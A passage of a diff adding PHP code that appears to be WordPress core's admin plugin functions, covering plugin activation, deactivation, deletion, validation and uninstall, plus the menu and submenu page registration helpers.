+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.1.0
+ * @see is_plugin_active()
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return bool True if inactive. False if active.
+ */
+function is_plugin_inactive( $plugin ) {
+	return ! is_plugin_active( $plugin );
+}
+
+/**
+ * Determines whether the plugin is active for the entire network.
+ *
+ * Only plugins installed in the plugins/ folder can be active.
+ *
+ * Plugins in the mu-plugins/ folder can't be "activated," so this function will
+ * return false for those plugins.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.0.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return bool True if active for the network, otherwise false.
+ */
+function is_plugin_active_for_network( $plugin ) {
+	if ( !is_multisite() )
+		return false;
+
+	$plugins = get_site_option( 'active_sitewide_plugins');
+	if ( isset($plugins[$plugin]) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Checks for "Network: true" in the plugin header to see if this should
+ * be activated only as a network wide plugin. The plugin would also work
+ * when Multisite is not enabled.
+ *
+ * Checks for "Site Wide Only: true" for backward compatibility.
+ *
+ * @since 3.0.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return bool True if plugin is network only, false otherwise.
+ */
+function is_network_only_plugin( $plugin ) {
+	$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
+	if ( $plugin_data )
+		return $plugin_data['Network'];
+	return false;
+}
+
+/**
+ * Attempts activation of plugin in a "sandbox" and redirects on success.
+ *
+ * A plugin that is already activated will not attempt to be activated again.
+ *
+ * The way it works is by setting the redirection to the error before trying to
+ * include the plugin file. If the plugin fails, then the redirection will not
+ * be overwritten with the success message. Also, the options will not be
+ * updated and the activation hook will not be called on plugin error.
+ *
+ * It should be noted that in no way the below code will actually prevent errors
+ * within the file. The code should not be used elsewhere to replicate the
+ * "sandbox", which uses redirection to work.
+ * {@source 13 1}
+ *
+ * If any errors are found or text is outputted, then it will be captured to
+ * ensure that the success redirection will update the error redirection.
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin       Path to the main plugin file from plugins directory.
+ * @param string $redirect     Optional. URL to redirect to.
+ * @param bool   $network_wide Optional. Whether to enable the plugin for all sites in the network
+ *                             or just the current site. Multisite only. Default false.
+ * @param bool   $silent       Optional. Whether to prevent calling activation hooks. Default false.
+ * @return WP_Error|null WP_Error on invalid file or null on success.
+ */
+function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
+	$plugin = plugin_basename( trim( $plugin ) );
+
+	if ( is_multisite() && ( $network_wide || is_network_only_plugin($plugin) ) ) {
+		$network_wide = true;
+		$current = get_site_option( 'active_sitewide_plugins', array() );
+		$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
+	} else {
+		$current = get_option( 'active_plugins', array() );
+	}
+
+	$valid = validate_plugin($plugin);
+	if ( is_wp_error($valid) )
+		return $valid;
+
+	if ( ( $network_wide && ! isset( $current[ $plugin ] ) ) || ( ! $network_wide && ! in_array( $plugin, $current ) ) ) {
+		if ( !empty($redirect) )
+			wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect)); // we'll override this later if the plugin can be included without fatal error
+		ob_start();
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+		$_wp_plugin_file = $plugin;
+		include_once( WP_PLUGIN_DIR . '/' . $plugin );
+		$plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin.
+
+		if ( ! $silent ) {
+			/**
+			 * Fires before a plugin is activated.
+			 *
+			 * If a plugin is silently activated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin       Path to the main plugin file from plugins directory.
+			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
+			 *                             or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'activate_plugin', $plugin, $network_wide );
+
+			/**
+			 * Fires as a specific plugin is being activated.
+			 *
+			 * This hook is the "activation" hook used internally by register_activation_hook().
+			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
+			 *
+			 * If a plugin is silently activated (such as during an update), this hook does not fire.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param bool $network_wide Whether to enable the plugin for all sites in the network
+			 *                           or just the current site. Multisite only. Default is false.
+			 */
+			do_action( "activate_{$plugin}", $network_wide );
+		}
+
+		if ( $network_wide ) {
+			$current = get_site_option( 'active_sitewide_plugins', array() );
+			$current[$plugin] = time();
+			update_site_option( 'active_sitewide_plugins', $current );
+		} else {
+			$current = get_option( 'active_plugins', array() );
+			$current[] = $plugin;
+			sort($current);
+			update_option('active_plugins', $current);
+		}
+
+		if ( ! $silent ) {
+			/**
+			 * Fires after a plugin has been activated.
+			 *
+			 * If a plugin is silently activated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin       Path to the main plugin file from plugins directory.
+			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
+			 *                             or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'activated_plugin', $plugin, $network_wide );
+		}
+
+		if ( ob_get_length() > 0 ) {
+			$output = ob_get_clean();
+			return new WP_Error('unexpected_output', __('The plugin generated unexpected output.'), $output);
+		}
+		ob_end_clean();
+	}
+
+	return null;
+}
+
+/**
+ * Deactivate a single plugin or multiple plugins.
+ *
+ * The deactivation hook is disabled by the plugin upgrader by using the $silent
+ * parameter.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $plugins Single plugin or list of plugins to deactivate.
+ * @param bool $silent Prevent calling deactivation hooks. Default is false.
+ * @param mixed $network_wide Whether to deactivate the plugin for all sites in the network.
+ * 	A value of null (the default) will deactivate plugins for both the site and the network.
+ */
+function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
+	if ( is_multisite() )
+		$network_current = get_site_option( 'active_sitewide_plugins', array() );
+	$current = get_option( 'active_plugins', array() );
+	$do_blog = $do_network = false;
+
+	foreach ( (array) $plugins as $plugin ) {
+		$plugin = plugin_basename( trim( $plugin ) );
+		if ( ! is_plugin_active($plugin) )
+			continue;
+
+		$network_deactivating = false !== $network_wide && is_plugin_active_for_network( $plugin );
+
+		if ( ! $silent ) {
+			/**
+			 * Fires before a plugin is deactivated.
+			 *
+			 * If a plugin is silently deactivated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin               Path to the main plugin file from plugins directory.
+			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
+			 *                                     or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'deactivate_plugin', $plugin, $network_deactivating );
+		}
+
+		if ( false !== $network_wide ) {
+			if ( is_plugin_active_for_network( $plugin ) ) {
+				$do_network = true;
+				unset( $network_current[ $plugin ] );
+			} elseif ( $network_wide ) {
+				continue;
+			}
+		}
+
+		if ( true !== $network_wide ) {
+			$key = array_search( $plugin, $current );
+			if ( false !== $key ) {
+				$do_blog = true;
+				unset( $current[ $key ] );
+			}
+		}
+
+		if ( ! $silent ) {
+			/**
+			 * Fires as a specific plugin is being deactivated.
+			 *
+			 * This hook is the "deactivation" hook used internally by register_deactivation_hook().
+			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
+			 *
+			 * If a plugin is silently deactivated (such as during an update), this hook does not fire.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
+			 *                                   or just the current site. Multisite only. Default is false.
+			 */
+			do_action( "deactivate_{$plugin}", $network_deactivating );
+
+			/**
+			 * Fires after a plugin is deactivated.
+			 *
+			 * If a plugin is silently deactivated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin               Path to the main plugin file from plugins directory.
+			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network.
+			 *                                     or just the current site. Multisite only. Default false.
+			 */
+			do_action( 'deactivated_plugin', $plugin, $network_deactivating );
+		}
+	}
+
+	if ( $do_blog )
+		update_option('active_plugins', $current);
+	if ( $do_network )
+		update_site_option( 'active_sitewide_plugins', $network_current );
+}
+
+/**
+ * Activate multiple plugins.
+ *
+ * When WP_Error is returned, it does not mean that one of the plugins had
+ * errors. It means that one or more of the plugins file path was invalid.
+ *
+ * The execution will be halted as soon as one of the plugins has an error.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $plugins Single plugin or list of plugins to activate.
+ * @param string $redirect Redirect to page after successful activation.
+ * @param bool $network_wide Whether to enable the plugin for all sites in the network.
+ * @param bool $silent Prevent calling activation hooks. Default is false.
+ * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
+ */
+function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
+	if ( !is_array($plugins) )
+		$plugins = array($plugins);
+
+	$errors = array();
+	foreach ( $plugins as $plugin ) {
+		if ( !empty($redirect) )
+			$redirect = add_query_arg('plugin', $plugin, $redirect);
+		$result = activate_plugin($plugin, $redirect, $network_wide, $silent);
+		if ( is_wp_error($result) )
+			$errors[$plugin] = $result;
+	}
+
+	if ( !empty($errors) )
+		return new WP_Error('plugins_invalid', __('One of the plugins is invalid.'), $errors);
+
+	return true;
+}
+
+/**
+ * Remove directory and files of a plugin for a list of plugins.
+ *
+ * @since 2.6.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem
+ *
+ * @param array  $plugins    List of plugins to delete.
+ * @param string $deprecated Deprecated.
+ * @return bool|null|WP_Error True on success, false is $plugins is empty, WP_Error on failure.
+ *                            Null if filesystem credentials are required to proceed.
+ */
+function delete_plugins( $plugins, $deprecated = '' ) {
+	global $wp_filesystem;
+
+	if ( empty($plugins) )
+		return false;
+
+	$checked = array();
+	foreach ( $plugins as $plugin )
+		$checked[] = 'checked[]=' . $plugin;
+
+	$url = wp_nonce_url('plugins.php?action=delete-selected&verify-delete=1&' . implode('&', $checked), 'bulk-plugins');
+
+	ob_start();
+	$credentials = request_filesystem_credentials( $url );
+	$data = ob_get_clean();
+
+	if ( false === $credentials ) {
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem( $credentials ) ) {
+		ob_start();
+		request_filesystem_credentials( $url, '', true ); // Failed to connect, Error and request again.
+		$data = ob_get_clean();
+
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors);
+
+	// Get the base plugin folder.
+	$plugins_dir = $wp_filesystem->wp_plugins_dir();
+	if ( empty( $plugins_dir ) ) {
+		return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress plugin directory.' ) );
+	}
+
+	$plugins_dir = trailingslashit( $plugins_dir );
+
+	$plugin_translations = wp_get_installed_translations( 'plugins' );
+
+	$errors = array();
+
+	foreach ( $plugins as $plugin_file ) {
+		// Run Uninstall hook.
+		if ( is_uninstallable_plugin( $plugin_file ) ) {
+			uninstall_plugin($plugin_file);
+		}
+
+		/**
+		 * Fires immediately before a plugin deletion attempt.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $plugin_file Plugin file name.
+		 */
+		do_action( 'delete_plugin', $plugin_file );
+
+		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );
+
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos( $plugin_file, '/' ) && $this_plugin_dir != $plugins_dir ) { //base check on if plugin includes directory separator AND that it's not the root plugin folder
+			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
+		} else {
+			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
+		}
+
+		/**
+		 * Fires immediately after a plugin deletion attempt.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $plugin_file Plugin file name.
+		 * @param bool   $deleted     Whether the plugin deletion was successful.
+		 */
+		do_action( 'deleted_plugin', $plugin_file, $deleted );
+
+		if ( ! $deleted ) {
+			$errors[] = $plugin_file;
+			continue;
+		}
+
+		// Remove language files, silently.
+		$plugin_slug = dirname( $plugin_file );
+		if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
+			$translations = $plugin_translations[ $plugin_slug ];
+
+			foreach ( $translations as $translation => $data ) {
+				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
+				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );
+			}
+		}
+	}
+
+	// Remove deleted plugins from the plugin updates list.
+	if ( $current = get_site_transient('update_plugins') ) {
+		// Don't remove the plugins that weren't deleted.
+		$deleted = array_diff( $plugins, $errors );
+
+		foreach ( $deleted as $plugin_file ) {
+			unset( $current->response[ $plugin_file ] );
+		}
+
+		set_site_transient( 'update_plugins', $current );
+	}
+
+	if ( ! empty( $errors ) ) {
+		if ( 1 === count( $errors ) ) {
+			/* translators: %s: plugin filename */
+			$message = __( 'Could not fully remove the plugin %s.' );
+		} else {
+			/* translators: %s: comma-separated list of plugin filenames */
+			$message = __( 'Could not fully remove the plugins %s.' );
+		}
+
+		return new WP_Error( 'could_not_remove_plugin', sprintf( $message, implode( ', ', $errors ) ) );
+	}
+
+	return true;
+}
+
+/**
+ * Validate active plugins
+ *
+ * Validate all active plugins, deactivates invalid and
+ * returns an array of deactivated ones.
+ *
+ * @since 2.5.0
+ * @return array invalid plugins, plugin as key, error as value
+ */
+function validate_active_plugins() {
+	$plugins = get_option( 'active_plugins', array() );
+	// Validate vartype: array.
+	if ( ! is_array( $plugins ) ) {
+		update_option( 'active_plugins', array() );
+		$plugins = array();
+	}
+
+	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
+		$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
+		$plugins = array_merge( $plugins, array_keys( $network_plugins ) );
+	}
+
+	if ( empty( $plugins ) )
+		return array();
+
+	$invalid = array();
+
+	// Invalid plugins get deactivated.
+	foreach ( $plugins as $plugin ) {
+		$result = validate_plugin( $plugin );
+		if ( is_wp_error( $result ) ) {
+			$invalid[$plugin] = $result;
+			deactivate_plugins( $plugin, true );
+		}
+	}
+	return $invalid;
+}
+
+/**
+ * Validate the plugin path.
+ *
+ * Checks that the main plugin file exists and is a valid plugin. See validate_file().
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return WP_Error|int 0 on success, WP_Error on failure.
+ */
+function validate_plugin($plugin) {
+	if ( validate_file($plugin) )
+		return new WP_Error('plugin_invalid', __('Invalid plugin path.'));
+	if ( ! file_exists(WP_PLUGIN_DIR . '/' . $plugin) )
+		return new WP_Error('plugin_not_found', __('Plugin file does not exist.'));
+
+	$installed_plugins = get_plugins();
+	if ( ! isset($installed_plugins[$plugin]) )
+		return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.'));
+	return 0;
+}
+
+/**
+ * Whether the plugin can be uninstalled.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return bool Whether plugin can be uninstalled.
+ */
+function is_uninstallable_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	if ( isset( $uninstallable_plugins[$file] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Uninstall a single plugin.
+ *
+ * Calls the uninstall hook, if it is available.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Path to the main plugin file from plugins directory.
+ * @return true True if a plugin's uninstall.php file has been found and included.
+ */
+function uninstall_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+
+	/**
+	 * Fires in uninstall_plugin() immediately before the plugin is uninstalled.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $plugin                Path to the main plugin file from plugins directory.
+	 * @param array  $uninstallable_plugins Uninstallable plugins.
+	 */
+	do_action( 'pre_uninstall_plugin', $plugin, $uninstallable_plugins );
+
+	if ( file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) {
+		if ( isset( $uninstallable_plugins[$file] ) ) {
+			unset($uninstallable_plugins[$file]);
+			update_option('uninstall_plugins', $uninstallable_plugins);
+		}
+		unset($uninstallable_plugins);
+
+		define('WP_UNINSTALL_PLUGIN', $file);
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
+		include( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' );
+
+		return true;
+	}
+
+	if ( isset( $uninstallable_plugins[$file] ) ) {
+		$callable = $uninstallable_plugins[$file];
+		unset($uninstallable_plugins[$file]);
+		update_option('uninstall_plugins', $uninstallable_plugins);
+		unset($uninstallable_plugins);
+
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
+		include( WP_PLUGIN_DIR . '/' . $file );
+
+		add_action( "uninstall_{$file}", $callable );
+
+		/**
+		 * Fires in uninstall_plugin() once the plugin has been uninstalled.
+		 *
+		 * The action concatenates the 'uninstall_' prefix with the basename of the
+		 * plugin passed to uninstall_plugin() to create a dynamically-named action.
+		 *
+		 * @since 2.7.0
+		 */
+		do_action( "uninstall_{$file}" );
+	}
+}
+
+//
+// Menu
+//
+
+/**
+ * Add a top-level menu page.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @global array $menu
+ * @global array $admin_page_hooks
+ * @global array $_registered_pages
+ * @global array $_parent_pages
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by. Should be unique for this menu page and only
+ *                             include lowercase alphanumeric, dashes, and underscores characters to be compatible
+ *                             with sanitize_key().
+ * @param callable $function   The function to be called to output the content for this page.
+ * @param string   $icon_url   The URL to the icon to be used for this menu.
+ *                             * Pass a base64-encoded SVG using a data URI, which will be colored to match
+ *                               the color scheme. This should begin with 'data:image/svg+xml;base64,'.
+ *                             * Pass the name of a Dashicons helper class to use a font icon,
+ *                               e.g. 'dashicons-chart-pie'.
+ *                             * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
+ * @param int      $position   The position in the menu order this one should appear.
+ * @return string The resulting page's hook_suffix.
+ */
+function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) {
+	global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;
+
+	$menu_slug = plugin_basename( $menu_slug );
+
+	$admin_page_hooks[$menu_slug] = sanitize_title( $menu_title );
+
+	$hookname = get_plugin_page_hookname( $menu_slug, '' );
+
+	if ( !empty( $function ) && !empty( $hookname ) && current_user_can( $capability ) )
+		add_action( $hookname, $function );
+
+	if ( empty($icon_url) ) {
+		$icon_url = 'dashicons-admin-generic';
+		$icon_class = 'menu-icon-generic ';
+	} else {
+		$icon_url = set_url_scheme( $icon_url );
+		$icon_class = '';
+	}
+
+	$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );
+
+	if ( null === $position ) {
+		$menu[] = $new_menu;
+	} elseif ( isset( $menu[ "$position" ] ) ) {
+	 	$position = $position + substr( base_convert( md5( $menu_slug . $menu_title ), 16, 10 ) , -5 ) * 0.00001;
+		$menu[ "$position" ] = $new_menu;
+	} else {
+		$menu[ $position ] = $new_menu;
+	}
+
+	$_registered_pages[$hookname] = true;
+
+	// No parent as top level
+	$_parent_pages[$menu_slug] = false;
+
+	return $hookname;
+}
+
+/**
+ * Add a submenu page.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @global array $submenu
+ * @global array $menu
+ * @global array $_wp_real_parent_file
+ * @global bool  $_wp_submenu_nopriv
+ * @global array $_registered_pages
+ * @global array $_parent_pages
+ *
+ * @param string   $parent_slug The slug name for the parent menu (or the file name of a standard
+ *                              WordPress admin page).
+ * @param string   $page_title  The text to be displayed in the title tags of the page when the menu
+ *                              is selected.
+ * @param string   $menu_title  The text to be used for the menu.
+ * @param string   $capability  The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug   The slug name to refer to this menu by. Should be unique for this menu
+ *                              and only include lowercase alphanumeric, dashes, and underscores characters
+ *                              to be compatible with sanitize_key().
+ * @param callable $function    The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	global $submenu, $menu, $_wp_real_parent_file, $_wp_submenu_nopriv,
+		$_registered_pages, $_parent_pages;
+
+	$menu_slug = plugin_basename( $menu_slug );
+	$parent_slug = plugin_basename( $parent_slug);
+
+	if ( isset( $_wp_real_parent_file[$parent_slug] ) )
+		$parent_slug = $_wp_real_parent_file[$parent_slug];
+
+	if ( !current_user_can( $capability ) ) {
+		$_wp_submenu_nopriv[$parent_slug][$menu_slug] = true;
+		return false;
+	}
+
+	/*
+	 * If the parent doesn't already have a submenu, add a link to the parent
+	 * as the first item in the submenu. If the submenu file is the same as the
+	 * parent file someone is trying to link back to the parent manually. In
+	 * this case, don't automatically add a link back to avoid duplication.
+	 */
+	if (!isset( $submenu[$parent_slug] ) && $menu_slug != $parent_slug ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $parent_slug && current_user_can( $parent_menu[1] ) )
+				$submenu[$parent_slug][] = array_slice( $parent_menu, 0, 4 );
+		}
+	}
+
+	$submenu[$parent_slug][] = array ( $menu_title, $capability, $menu_slug, $page_title );
+
+	$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug);
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	$_registered_pages[$hookname] = true;
+
+	/*
+	 * Backward-compatibility for plugins using add_management page.
+	 * See wp-admin/admin.php for redirect from edit.php to tools.php
+	 */
+	if ( 'tools.php' == $parent_slug )
+		$_registered_pages[get_plugin_page_hookname( $menu_slug, 'edit.php')] = true;
+
+	// No parent as top level.
+	$_parent_pages[$menu_slug] = $parent_slug;
+
+	return $hookname;
+}
+
+/**
+ * Add submenu page to the Tools main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Settings main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Appearance main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Plugins main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Users/Profile main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	if ( current_user_can('edit_users') )
+		$parent = 'users.php';
+	else
+		$parent = 'profile.php';
+	return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+/**
+ * Add submenu page to the Dashboard main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Posts main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Media main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add submenu page to the Links main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
